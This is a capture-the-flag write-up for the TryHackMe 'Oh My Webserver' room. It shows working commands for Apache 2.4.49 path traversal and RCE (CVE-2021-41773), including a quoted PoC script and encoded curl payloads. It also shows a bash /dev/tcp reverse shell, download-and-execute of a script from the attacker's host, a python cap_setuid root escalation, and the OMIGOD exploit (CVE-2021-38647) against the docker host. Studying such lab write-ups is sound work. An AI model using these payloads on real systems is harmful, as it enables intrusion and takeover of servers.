TryHackMe - Oh My Webserver

Can you root me?

Enumeration

Nmap

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn ohmyweb.thm
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 05:56 EDT
Nmap scan report for ohmyweb.thm (10.10.4.21)
Host is up (0.19s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 26.71 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 22,80 ohmyweb.thm
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 05:38 EDT
Nmap scan report for ohmyweb.thm (10.10.4.21)
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e0d188762a9379d391046d25160e56d4 (RSA)
|   256 91185c2c5ef8993c9a1f0424300eaa9b (ECDSA)
|_  256 d1632a36dd94cf3c573e8ae88500caf6 (ED25519)
80/tcp open  http    Apache httpd 2.4.49 ((Unix))
|_http-title: Consult - Business Consultancy Agency Template | Home
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.49 (Unix)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 5.4 (86%), Linux 2.6.32 (86%), Linux 2.6.39 - 3.2 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   183.34 ms 10.9.0.1
2   237.73 ms ohmyweb.thm (10.10.4.21)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.30 seconds

From this point, I took time to enumerate the HTTP service on port 80 such as dir scan. However, nothing interesting had been found.

Dir Scan

┌──(kali㉿kali)-[~/Wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -t 50 --no-error -u http://ohmyweb.thm
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://ohmyweb.thm
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/assets               (Status: 301) [Size: 234] [--> http://ohmyweb.thm/assets/]
Progress: 220548 / 220549 (100.00%)
===============================================================
Finished
===============================================================
┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/assets/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /assets</title>
 </head>
 <body>
<h1>Index of /assets</h1>
<ul><li><a href="/"> Parent Directory</a></li>
<li><a href=".DS_Store"> .DS_Store</a></li>
<li><a href="css/"> css/</a></li>
<li><a href="fonts/"> fonts/</a></li>
<li><a href="images/"> images/</a></li>
<li><a href="js/"> js/</a></li>
</ul>
</body></html>
┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/assets/js/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /assets/js</title>
 </head>
 <body>
<h1>Index of /assets/js</h1>
<ul><li><a href="/assets/"> Parent Directory</a></li>
<li><a href=".DS_Store"> .DS_Store</a></li>
<li><a href="bootstrap.min.js"> bootstrap.min.js</a></li>
<li><a href="circles.min.js"> circles.min.js</a></li>
<li><a href="headroom.min.js"> headroom.min.js</a></li>
<li><a href="imagesloaded.pkgd.min.js"> imagesloaded.pkgd.min.js</a></li>
<li><a href="isotope.pkgd.min.js"> isotope.pkgd.min.js</a></li>
<li><a href="jquery.appear.min.js"> jquery.appear.min.js</a></li>
<li><a href="jquery.counterup.min.js"> jquery.counterup.min.js</a></li>
<li><a href="jquery.magnific-popup.min.js"> jquery.magnific-popup.min.js</a></li>
<li><a href="jquery.nav.js"> jquery.nav.js</a></li>
<li><a href="main-min.js"> main-min.js</a></li>
<li><a href="main.js"> main.js</a></li>
<li><a href="plugins.js"> plugins.js</a></li>
<li><a href="popper.min.js"> popper.min.js</a></li>
<li><a href="scrollIt.min.js"> scrollIt.min.js</a></li>
<li><a href="slick.min.js"> slick.min.js</a></li>
<li><a href="vendor/"> vendor/</a></li>
<li><a href="waypoints.min.js"> waypoints.min.js</a></li>
<li><a href="wow.min.js"> wow.min.js</a></li>
</ul>
</body></html>

Apache server 2.4.49 → CVE-2021-41773

Then the apache version 2.4.49 impress me. After researching, I found out it was the vulnerability related to the CVE-2021-41173 (LFI & RCE) ⇒ Read more from this.

Or viewing the PoC from the exploit path using searchsploit:

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami

To verify the target server is vulnerable, I simply use the curl with the /cgi-bin path:

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>

The response code is 403 which means it actually enabled the mod_cgi. Therefore, I had another simple test with a malicious payload which has been double URL-encoded:

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh --data 'echo Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Exploit → Gain Access

To perform a fulfilled attack, I need to establish a reverse shell for better interact with the server:

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh --data 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/10.9.63.75/4444 0>&1'

However, executing the above command within running listener on my local machine, I still do not get the shell back. Then, I need to manually embed the payload into a particular shell → Transfer it to the server → Execute it:

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ ls -l shell.sh
-rw-r--r-- 1 kali kali 38 Sep  7 06:53 shell.sh

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ cat shell.sh
bash >& /dev/tcp/10.9.63.75/4444 0>&1

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.114.109 - - [07/Sep/2023 07:18:20] "GET /shell.sh HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh --data 'echo Content-Type: text/plain; echo; curl http://10.9.63.75:8000/shell.sh -o /tmp/shell.sh'

# verify that the shell has been placed
┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh --data 'echo Content-Type: text/plain; echo; ls -l /tmp/'
total 4
-rw-r--r-- 1 daemon daemon 38 Sep  7 10:56 shell.sh

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh --data 'echo Content-Type: text/plain; echo; chmod +x /tmp/shell.sh'

┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh --data 'echo Content-Type: text/plain; echo; ls -l /tmp/'
total 4
-rwxr-xr-x 1 daemon daemon 38 Sep  7 10:56 shell.sh
┌──(kali㉿kali)-[~/TryHackMe/ohmyweb]
└─$ curl http://ohmyweb.thm/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh --data 'echo Content-Type: text/plain; echo; bash /tmp/shell.sh'
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.114.109] 48372
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
python3 -c "import pty;pty.spawn('/bin/bash')"
daemon@4a70924bafa0:/bin$

Privilege Escalation → root

I had checked the /home/ directory but there is no other available user → The only user that I have to escalate is the root.

To perform the privilege escalation, I do some common checks such as cronjobs, capabilities:

daemon@4a70924bafa0:/bin$ cat /etc/crontab
cat /etc/crontab
cat: /etc/crontab: No such file or directory
daemon@4a70924bafa0:/bin$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/python3.7 = cap_setuid+ep
daemon@4a70924bafa0:/bin$ ls -l /usr/bin/python3.7
ls -l /usr/bin/python3.7
-rwxr-xr-x 1 root root 4877888 Jan 22  2021 /usr/bin/python3.7

I simply use the exploit payload to get the root user following these steps:

daemon@4a70924bafa0:/bin$ /usr/bin/python3.7 -c "import os;os.setuid(0); os.system('/bin/bash')"
<-c "import os;os.setuid(0); os.system('/bin/bash')"
root@4a70924bafa0:/bin# whoami
whoami
root
root@4a70924bafa0:/bin# id
id
uid=0(root) gid=1(daemon) groups=1(daemon)

Read more at this source.

Then I easily navigate to the /root/ directory and get the user flag:

root@4a70924bafa0:/bin# cd /root
cd /root
root@4a70924bafa0:/root# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 38 Oct  8  2021 user.txt
root@4a70924bafa0:/root# cat user.txt
cat user.txt
THM{REDACTED}

OMI server - CVE-2021-38647

The only available flag located in the /root/ directory is the user flag. So, where is the root flag?

root@4a70924bafa0:/root# find / -name "root.txt"
find / -name "root.txt"
find: ‘/proc/1/map_files’: Permission denied
find: ‘/proc/8/map_files’: Permission denied
find: ‘/proc/9/map_files’: Permission denied
find: ‘/proc/10/map_files’: Permission denied
find: ‘/proc/11/map_files’: Permission denied
find: ‘/proc/93/map_files’: Permission denied
find: ‘/proc/142/map_files’: Permission denied
find: ‘/proc/143/map_files’: Permission denied
find: ‘/proc/145/map_files’: Permission denied
find: ‘/proc/146/map_files’: Permission denied
find: ‘/proc/150/map_files’: Permission denied
find: ‘/proc/151/map_files’: Permission denied

I got stuck at here for a half hour, then I started to enumerate the communicating hosts and found this interested thing:

root@4a70924bafa0:/root# netstat -antup
netstat -antup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0    173 172.17.0.2:48372        10.9.63.75:4444         ESTABLISHED -

There are 2 Local Address with 0.0.0.0 is the default one which is normally attempt to the 127.0.0.1 or localhost; the second one is 172.17.0.2 is connecting with my own local machine. Let’s verify the IP Address one more time:

root@4a70924bafa0:/root# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 202  bytes 17516 (17.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 151  bytes 72028 (70.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

As regular, the host address should be displayed at 172.17.0.1 → Where is it?

I need to run the nmap scanning on this server with this address to explore what are running on. I transferred my own nmap service from my local machine but it did not work:

root@4a70924bafa0:/tmp# ./nmap -p- --min-rate 5000 127.17.0.1
./nmap -p- --min-rate 5000 127.17.0.1
./nmap: error while loading shared libraries: libssl.so.3: cannot open shared object file: No such file or directory

To solve this, I downloaded the nmap package from andrew-github and then transferred it to the target server:

root@4a70924bafa0:/tmp# curl http://10.9.63.75:8000/nmap -o nmap
curl http://10.9.63.75:8000/nmap -o nmap
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 5805k  100 5805k    0     0   968k      0  0:00:05  0:00:05 --:--:-- 1092k
root@4a70924bafa0:/tmp# ls -l
ls -l
total 5812
-rw-r--r-- 1 root   daemon 5944464 Sep  7 11:14 nmap
-rwxr-xr-x 1 daemon daemon      38 Sep  7 10:56 shell.sh
root@4a70924bafa0:/tmp# chmod +x nmap
chmod +x nmap
root@4a70924bafa0:/tmp# ./nmap -p- --min-rate 5000 172.17.0.1
./nmap -p- --min-rate 5000 172.17.0.1

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2023-09-07 11:18 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (-0.0014s latency).
Not shown: 65531 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
5985/tcp closed unknown
5986/tcp open   unknown
MAC Address: 02:42:AB:4B:3D:B8 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 39.77 seconds

Notice that the port 5986 is opened and 5985 is closed. Take a small research and I find that these ports are related to the OMI Agent and the CVE-2021-38647. Read more from HackTricks.

From HackTricks , it also leads me to the full exploit from this source. Then I keep download it to my local workspace → Transfer the binary to the target:

┌──(kali㉿kali)-[~/Downloads]
└─$ wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/main/omigod.py
--2023-09-07 07:17:36--  https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/main/omigod.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2720 (2.7K) [text/plain]
Saving to: ‘omigod.py’

omigod.py                    100%[==============================================>]   2.66K  --.-KB/s    in 0s

2023-09-07 07:17:37 (63.6 MB/s) - ‘omigod.py’ saved [2720/2720]


┌──(kali㉿kali)-[~/Downloads]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.114.109 - - [07/Sep/2023 07:18:20] "GET /omigod.py HTTP/1.1" 200 -
root@4a70924bafa0:/tmp# curl http://10.9.63.75:8000/omigod.py -o exploit.py
curl http://10.9.63.75:8000/omigod.py -o exploit.py
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2720  100  2720    0     0   7292      0 --:--:-- --:--:-- --:--:--  7292
root@4a70924bafa0:/tmp# ls -l
ls -l
total 5816
-rw-r--r-- 1 root   daemon    2720 Sep  7 11:20 exploit.py
-rwxr-xr-x 1 root   daemon 5944464 Sep  7 11:14 nmap
-rwxr-xr-x 1 daemon daemon      38 Sep  7 10:56 shell.sh

Next, I use the .py file to exploit the vulnerability:

root@4a70924bafa0:/tmp# python3 exploit.py -t 172.17.0.1 -c id
python3 exploit.py -t 172.17.0.1 -c id
uid=0(root) gid=0(root) groups=0(root)

The exploit script has worked successfully. Finally, I replace the id payload with commands to enumerate the root flag and read it:

root@4a70924bafa0:/tmp# python3 exploit.py -t 172.17.0.1 -c "find / -name 'root.txt'"
<ploit.py -t 172.17.0.1 -c "find / -name 'root.txt'"
/root/root.txt
root@4a70924bafa0:/tmp# python3 exploit.py -t 172.17.0.1 -c "cat /root/root.txt"
<n3 exploit.py -t 172.17.0.1 -c "cat /root/root.txt"
THM{REDACTED}